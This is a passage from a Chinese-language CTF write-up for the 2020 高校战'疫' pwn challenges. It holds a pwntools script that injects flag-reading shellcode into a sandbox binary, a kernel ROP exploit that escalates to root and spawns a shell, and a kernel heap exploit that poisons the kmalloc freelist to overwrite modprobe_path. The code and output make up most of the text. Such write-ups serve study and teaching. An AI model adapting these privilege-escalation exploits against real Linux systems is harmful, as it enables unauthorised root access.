      v8 = fopen(a1, (__int64)byte_4015B8);
      if ( v8 )
      {
        fread(&buf, 100LL, v8);
        close__(v8);
        printf((__int64)"[%s]\n", (__int64)&buf, v4, v5, v6);
      }
      else
      {
        printf((__int64)&byte_4015C0, a1, v1, v2, v3);
      }
      return __readfsqword(0x28u) ^ v10;
    }
    

    一个是执行 shellcode

    unsigned __int64 shell()
    {
      __int64 v0; // rdx
      __int64 v1; // rcx
      __int64 v2; // r8
      __int64 v3; // rdx
      __int64 v4; // rcx
      __int64 v5; // r8
      __int64 v6; // rdx
      __int64 v7; // rcx
      __int64 v8; // r8
      __int64 (__fastcall *v9)(__int64, __int64, __int64); // ST18_8
      __int64 v10; // rdx
      __int64 v11; // rcx
      __int64 v12; // r8
      __int64 v13; // ST20_8
      __int64 v14; // rdx
      __int64 v15; // rcx
      __int64 v16; // r8
      __int64 v17; // ST28_8
      __int64 v18; // rdx
      __int64 v19; // rcx
      __int64 v20; // r8
      __int64 v21; // ST30_8
      __int64 v22; // ST38_8
      __int64 v23; // rdx
      __int64 v24; // rcx
      __int64 v25; // r8
      char v27; // [rsp+40h] [rbp-510h]
      unsigned __int64 v28; // [rsp+548h] [rbp-8h]
    
      v28 = __readfsqword(0x28u);
      puts((__int64)"Welcome to ubuntu shell\n");
      puts((__int64)"please write your shellcode i will run  [ size_t (*intput)(size_t , size_t , size_t ) ]");
      printf((__int64)"data ptr:%p\n", (__int64)&v27, v0, v1, v2);
      printf((__int64)"data<<", (__int64)&v27, v3, v4, v5);
      read(0LL, (__int64)&v27, 1280LL);
      printf((__int64)"invoke ptr<<", (__int64)&v27, v6, v7, v8);
      v9 = (__int64 (__fastcall *)(__int64, __int64, __int64))sub_400C26();
      printf((__int64)"arg0<<", (__int64)&v27, v10, v11, v12);
      v13 = sub_400C26();
      printf((__int64)"arg1<<", (__int64)&v27, v14, v15, v16);
      v17 = sub_400C26();
      printf((__int64)"arg2<<", (__int64)&v27, v18, v19, v20);
      v21 = sub_400C26();
      v22 = v9(v13, v17, v21);
      printf((__int64)"ret is 0x%llx\n", v22, v23, v24, v25);
      return __readfsqword(0x28u) ^ v28;
    }
    

    cat flag 的后门很好触发, 但是这个后门没法用. 因为外面还套着一层模拟器, 所有 系统调用都要经过hook 函数, 而在hook函数中 open 始终返回一个负数, 所以 fread 会认为 open 系统调用失败了(其实成功了). 所以只能通过shellcode 拿到 flag

    执行第一个后门很简单, 直接把拿到的数据异或一下返回去就行, 触发第二个后门就需要利用 每次 try 会把函数指针 + 1 的逻辑.

    具体exp如下

    #coding:utf-8
    from pwn import *
    import pwn_framework as pf
    from time import sleep
    import sys
    import struct
    
    global io
    ru = lambda p, x : p.recvuntil(x)
    sn = lambda p, x : p.send(x)
    rl = lambda p  : p.recvline()
    sl = lambda p, x : p.sendline(x)
    rv = lambda p, x : p.recv(numb = x)
    sa = lambda p, a,b : p.sendafter(a,b)
    sla = lambda p, a,b : p.sendlineafter(a,b)
    rr = lambda p, t : p.recvrepeat(t)
    
    # amd64 or x86
    context(arch = 'amd64', os = 'linux', endian = 'little')
    context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']
    
    filename = "./x86_sandbox"
    ip = "121.37.167.19"
    port = 9998
    
    LOCAL = True if len(sys.argv)==1 else False
    
    elf = ELF(filename)
    
    remote_libc = "./remote_libc"
    if LOCAL:
        io = process(filename)
    else:
        context.log_level = 'debug'
        io = remote(ip, port)
    
    def lg(name, val):
        log.info(name+" : "+hex(val))
    
    
    pause(io)
    
    ru(io, "Your machine-code is \x1B[1;31;5m ")
    
    
    a = map(lambda x : int(x, 16), io.recvuntil(" \x1B[0m\n", drop=True).split("-"))
    b = map(ord, struct.pack("<IIII", *a))
    for i in range(15, 0, -1):
        b[i-1] ^= b[i]
    c = "".join(map(chr, b)).encode('hex')
    
    for i in range(0x20):
        sla(io, "password", "")
    
    sla(io, "password", c)
    
    ru(io, "data ptr:")
    data_ptr = int(rl(io), 16)
    lg('data_ptr', data_ptr)
    
    sc = "flag.txt".ljust(0x10, '\0')+asm("""
        xor rsi, rsi;
        xor rdx, rdx;
        xor rcx, rcx;
        xor r9, r9;
        xor r8, r8;
        mov rdi, %#x;
        mov eax, 2;
        syscall;
    
        mov rdi, 3;
        mov rsi, %#x;
        mov rdx, 0x40;
        mov eax, 0;
        syscall;
    
        mov rdi, 1;
        mov rsi, %#x;
        mov rdx, 0x40;
        mov eax, 1;
        syscall;
    
    """%(data_ptr, data_ptr+0x100, data_ptr+0x100))
    
    sla(io, "data<<", sc)
    sla(io, "invoke ptr<<", str(data_ptr+0x10))
    sla(io, "arg0<<", str(0))
    sla(io, "arg1<<", str(0))
    sla(io, "arg2<<", str(0))
    
    io.interactive()
    

    baby_hacker2 | solved(after game)

    经典栈溢出, 没啥好说的.

    //gcc --static -O0 exp.c -o exp
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <sys/ioctl.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <string.h>
    #include <stdint.h>
    #include <signal.h> 
    
    uint64_t PKC_ADDR=0; 
    uint64_t CC_ADDR=0;
    
    void die(char *msg){
        puts(msg);
        exit(-1);
    }
    
    typedef struct TrapFrameSt {
        void *rip;
        uint64_t cs;
        uint64_t eflags;
        void *rsp;
        uint64_t ss;
    } TrapFrame;
    
    void get_shell(){
        if (getuid() == 0)
            system("/bin/sh");
        else
            die("[get_shell] uid != 0");
    }
    
    TrapFrame trap_frame;
    void save_status(){
        uint64_t  rsp;
        uint32_t cs, eflags, ss;
        cs = 0;
        asm volatile("movl %%cs, %0;"
            "pushf;"
            "pop %%rax;"
            "movl %%eax, %1;"
            "movq %%rsp, %2;"
            "movl %%ss, %3;"
            : "=r"(cs), "=r"(eflags), "=r"(rsp), "=r"(ss)
            :
            : "rax"
        );
        trap_frame.rip = &get_shell;
        trap_frame.cs = cs;
        trap_frame.eflags = eflags;
        trap_frame.rsp = (void *)rsp;
        trap_frame.ss = ss;
        printf("[save_status]\nrip : %p\ncs:%#x\neflags:%#x\nrsp:%p\nss:%#x\n\n", &get_shell, cs, eflags, rsp, ss);
    }
    
    
    void set_size(int fd, int size){
        if (ioctl(fd, 0x30000, (1<<31) | size) != 0)
            die("set size ioctl error");
    }
    
    void dev_write(int fd, char *buf){
        if (ioctl(fd, 0x30001, buf) != 0)
            die("dev write error");
    }
    
    void dev_read(int fd, char *buf){
        if (ioctl(fd, 0x30002, buf) != 0)
            die("dev read error");
    }
    
    int main(){
        signal(SIGSEGV, get_shell);
        save_status();
    
        //construct the payload...
        int fd = open("/dev/babyhacker", 0);
        if (fd < 0)
            die("open dev error");
        
        set_size(fd, 0x260);
        char *buf = calloc(1, 0x270);
        dev_read(fd, buf);
        uint64_t canary = *(uint64_t *)(buf + 0x140);
        printf("canray %p\n", canary);
        uint64_t stack_addr = *(uint64_t *)(buf + 0x148);
        printf("stack addr %p\n", stack_addr);
        uint64_t ret_addr = *(uint64_t *)(buf + 0x150);
        printf("ret addr %p\n", ret_addr);
    
        uint64_t kernel_base = ret_addr - 0x219218;
        uint64_t kernel_offset = kernel_base - 0xffffffff81000000;
        printf("kernel base %p\n", kernel_base);
    
        PKC_ADDR = kernel_base + 0xa1820ull;
        CC_ADDR = kernel_base + 0Xa1430ull;
        // dev_write(fd, "aaaabbbbccccdddd");
        int idx = 40;
        uint64_t *p1 = calloc(1, 0x270);
        p1[idx++] = canary; // canary
        p1[idx++] = 0; // saved rbp
        p1[idx++] = kernel_offset +  0xffffffff8109054d; // pop rdi; ret;
        p1[idx++] = 0;
        p1[idx++] = PKC_ADDR;
        p1[idx++] = kernel_offset + 0xffffffff81083f22; // pop rdx; ret;
        p1[idx++] = stack_addr - 0x188;
        p1[idx++] = kernel_offset + 0xffffffff8116cb43; // mov [rdx], rax; ret;
        p1[idx++] = kernel_offset +  0xffffffff8109054d; // pop rdi; ret;
        p1[idx++] = 0xdeadbeef;
        p1[idx++] = CC_ADDR;
        p1[idx++] = kernel_offset + 0xffffffff810636b4; //swapgs; pop rbp; ret;
        p1[idx++] = 0;
        p1[idx++] = kernel_offset + 0xffffffff8168b278; //iretq
        memcpy(&p1[idx], &trap_frame, sizeof(TrapFrame));
        
        dev_write(fd, (char *)p1);
        return 0;
    }
    

    kernoob | solved (after game)

    第一次做内核堆题. 赛后参考 kirin 的wp复现了一遍, 学到了很多.

    看了一下 kmalloc 的源码之后发现其实kmalloc组织被free 的object 的方式和 fastbin 很像, 也是通过单向链表. 不过这儿的链表指针用了 一个 random 数去异或. 所以想要利用的话需要先 leak 这个 random 数.

    内核堆题一个比较麻烦的点就在于 kmalloc 可能随时会被内核的其它代码调用. 所以malloc/free 的次数, object 之间的偏移都具有一定的随机性. 我写exp的时候为了利用已有信息尽量消灭随机性做了不少工作.

    此外, 还学到了一种新的提权方式(利用 modprobe_path). kirin 的blog中还提到了修改 /bin/umount 来提权. 提权的骚操作太多了.

    最终exp如下

    //gcc --static -O0 exp.c -o exp
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/stat.h>
    #include <sys/ioctl.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <string.h>
    #include <stdint.h>
    #include <signal.h> 
    #include <sys/mman.h>
    
    uint64_t PKC_ADDR=0xffffffff810ad7e0; 
    uint64_t CC_ADDR=0xffffffff810ad430;
    
    void die(char *msg){
        puts(msg);
        exit(-1);
    }
    
    
    void add_note(int fd, uint64_t idx, uint64_t size){
        uint64_t args[3] = {idx, 0, size};
        if (ioctl(fd, 0x30000, &args) != 0)
            die("add error");
    }
    
    void remove_note(int fd, uint64_t idx){
        uint64_t _idx = idx;
        if (ioctl(fd, 0x30001, &_idx) != 0)
            die("remove error");
    }
    
    void edit_note(int fd, uint64_t idx, uint64_t size, char *buf){
        uint64_t args[3] = {idx, (uint64_t)buf, size};
        if (ioctl(fd, 0x30002, &args) != 0)
            die("edit error");
    }
    
    void show_note(int fd, uint64_t idx, uint64_t size, char *buf){
        uint64_t args[3] = {idx, (uint64_t)buf, size};
        if (ioctl(fd, 0x30003, &args) != 0)
            die("show error");
    }
    
    uint64_t hex_print(void *_mem, int cnt){
        uint64_t *mem = (uint64_t *) _mem;
    
        for (int i=0; i<cnt; i += 2){
            printf("%x : %16llx  %16llx\n", i, (long long unsigned int )mem[i], (long long unsigned int )mem[i+1]);
            
        }
    
        if (mem[2] == 2)
            return mem[3] - 0x18;
    
        uint64_t heap_addr = -1;
        for (int i = 0; i<cnt; i++){
            uint64_t tmp  = mem[i];
            if (tmp < 0xffff000000000000 || (tmp & 0xf) == 0)
                continue;
            else if (tmp != heap_addr)
                heap_addr = tmp;
            else
                return heap_addr - 0x28;
            
        }
        return -1;
    }
    
    int main(){  
        //construct the payload...
        int fd = open("/dev/noob", 0);
        if (fd < 0)
            die("open dev error");
        char *buf = calloc(1, 0x400);
        uint64_t *buff = (uint64_t *)buf;
    
        uint64_t chunk_size = 0x60;
        int pre_malloc = 0x14;
    
        for (int i=0; i<pre_malloc; i++){
            add_note(fd, i, chunk_size);
        }
    
        int idx1, idx2;
        uint64_t heap_addr1, heap_addr2;
        idx1 = idx2 = -1;
        heap_addr1 = heap_addr2 = -1;
        
        for (int i=0; i<pre_malloc; i++){
            printf("\nprobing chunk %x:\n", i);
            show_note(fd, i, chunk_size, buf);
            if (heap_addr1 == -1){
                if ((heap_addr1 =  hex_print(buf, chunk_size/8)) == -1)
                    continue;
                idx1 = i;
                printf("heap_addr1, idx1 : %#llx, %#x\n", heap_addr1, idx1);
            }
            else if (heap_addr2 == -1){
                if ((heap_addr2 = hex_print(buf, chunk_size/8)) == -1)
                    continue;
                idx2 = i;
                printf("heap_addr2, idx2 : %#llx, %#x\n", heap_addr2, idx2);
            } else {
                break;
            }
        }
        printf("heap_addr1, idx1 : %#llx, %#x\n", heap_addr1, idx1);
        printf("heap_addr2, idx2 : %#llx, %#x\n", heap_addr2, idx2);
    
        // leak random
        // remove_note(fd, idx2+1);
        // for (int i,j = 0; i<0x10 && j<3; ++i){
        //     if ((i != idx1) && i != idx2){
        //         remove_note(fd, i);
        //         j++;
        //     }
        // }
        remove_note(fd, idx1);
        remove_note(fd, idx2);
        show_note(fd, idx2, chunk_size, buf);
        // uint64_t random = buff[0] ^ heap_addr1 ^ heap_addr2;
        uint64_t random = buff[0]  ^ heap_addr2; // don't know why....
        printf("random : %#llx\n", random);
    
        uint64_t target = buff[0];
        for (int i=pre_malloc; i < 0x1a; ++i){
            add_note(fd, i, chunk_size);
            show_note(fd, i, chunk_size, buf);
            if (buff[0] == target){
                printf("malloc %#x back to %#x\n", idx2, i);
                goto kmalloc_back_success;
            }
        }
        die("unable to kmalloc freed object back");
    
    kmalloc_back_success:
        puts("fake fd.....");
        uint64_t ptrs_addr = 0xffffffffc00044c0;
    
        uint64_t mmap_addr = ((~random >> 48) <<16);
        printf("try to mmap : %#llx\n", mmap_addr);
        uint64_t mmap_mem = mmap(mmap_addr, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0);
        if (mmap_mem == -1)
            die("mmap failed");
        uint64_t mmap_addr2 = (random & 0xffffffff0000) ^ 0xffffc0000000;
        uint64_t mmap_mem2;
        printf("try to mmap2 : %#llx\n", mmap_addr2);
        if ((mmap_mem2 =  mmap(mmap_addr2, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED,0,0)) == -1)
            die("mmap 2 failed");
        uint64_t tmp = ((ptrs_addr + 0x1bc) ^ random) & ((1ull << 48) - 1);
        *((uint64_t *) tmp ) = tmp ^ random;
        printf("mmap2 at : %#llx\n", mmap_mem2);
        ((uint64_t *)mmap_mem2)[0] = mmap_mem2 ^ random;
        printf("mmap success at : %#llx\n", mmap_mem);
        ((uint64_t *)mmap_mem)[0] = (mmap_mem) ^ random ^ (mmap_mem + 8);
        ((uint64_t *)mmap_mem)[1] = (mmap_mem+8) ^ random ^ (ptrs_addr + 0x1bc);
    
        uint64_t fake = heap_addr2 ^ random  ^ mmap_mem;
        buff[0] = fake;
        printf("fake : %#llx\n", fake);
        remove_note(fd, idx2);
        edit_note(fd, idx2, chunk_size, buf);
    
        add_note(fd, 0x1f, chunk_size);
        add_note(fd, 0x1c, chunk_size);
        add_note(fd, 0x1d, chunk_size);
        add_note(fd, 0x1e, chunk_size);
        add_note(fd, 0x1b, chunk_size);
        add_note(fd, 0x1a, chunk_size);
        // add_note(fd, 0x1b, chunk_size);
    
        buff = buf+4;
        buff[0] = 0xffffffff8245aba0;  //
        edit_note(fd, 0x1e, 0xc, buf);
        char *copy = "/home/pwn/copy.sh\0";
        edit_note(fd, 0x1c, strlen(copy), copy);
        return 0;
    }
    

    执行完之后 modprobe_path 的内容就变成了 "/home/pwn/copy.sh".

    /home/pwn/copy.sh 内容如下

    ~ $ cat ./copy.sh            
    #!/bin/sh                    
    /bin/cp /flag /home/pwn/flag 
    /bin/chmod 777 /flag         
    /bin/chmod 777 /home/pwn/flag
    

    执行一个 非法 ELF 文件即可触发 执行 copy.sh

    ~ $ /exp
    
    ...
    
    ~ $ echo -e "\xff\xff\xff" > ./pu1p        
    ~ $ ls                                     
    copy.sh  k        noob.ko  pu1p                 
    ~ $ chmod a+x ./pu1p                       
    ~ $ ./pu1p                                 
    ./pu1p: line 1: ▒▒▒: not found             
    ~ $ ls                                     
    copy.sh  flag     k        noob.ko  pu1p   
    ~ $ cat flag                               
    flag{test}                                 
    

    参考

    [1] Kernoob: kmalloc without SMAP

    [2] kmalloc 源码分析

    相关文章

      网友评论

        本文标题:2020 高校战“疫”网络安全分享赛 pwn

        本文链接:https://www.haomeiwen.com/subject/bwiyshtx.html